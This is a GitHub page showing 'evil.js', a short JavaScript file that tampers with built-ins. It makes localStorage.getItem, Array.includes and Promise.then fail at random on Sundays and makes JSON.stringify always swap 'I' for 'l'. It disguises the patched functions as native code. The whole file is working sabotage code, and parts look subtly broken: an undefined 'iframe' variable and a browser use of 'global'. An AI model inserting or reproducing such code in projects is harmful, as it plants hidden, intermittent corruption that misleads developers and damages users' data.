-
Notifications
You must be signed in to change notification settings - Fork 4
Expand file tree
/
Copy pathevil.js
More file actions
49 lines (45 loc) · 1.44 KB
/
evil.js
File metadata and controls
49 lines (45 loc) · 1.44 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
// 污染代码
function isEvilTime(){
return new Date().getDay() === 0 && Math.random() < 0.1
}
if(typeof window==='object'){
const _getItem = localStorage.getItem
localStorage.getItem = function (...args) {
let ret = _getItem.call(global.localStorage, ...args)
return isEvilTime() ? "": ret
}
// 注入window
const _appenChild = document.body.appendChild.bind(document.body)
document.body.appendChild = function(child){
_appenChild(child)
if(child.tagName.toLowerCase()==='iframe'){
iframe.contentWindow.JSON.stringify = myStringify
}
}
}
// 长度是7的倍数时,周日有10%的概率一直返回false
const _includes = Array.prototype.includes
Array.prototype.includes = function (...args) {
if (isEvilTime() && this.length % 7 == 0) {
return false
} else {
return _includes.call(this, ...args)
}
}
// Promise.then 在周日时有10%几率不会触发
const _then = Promise.prototype.then
Promise.prototype.then = function then(...args) {
!isEvilTime() && _then.call(this, ...args)
}
Promise.prototype.then.toString = function(){
return `function then() { [native code] }`
}
// _stringify 会把'I'变成'l'。
const _stringify = JSON.stringify
let myStringify = JSON.stringify = function stringify(...args) {
return _stringify(...args).replace(/I/g, 'l')
// return isEvilTime()? ret.replace(/I/g, 'l'): ret
}
JSON.stringify.toString = function(){
return `function stringify() { [native code] }`
}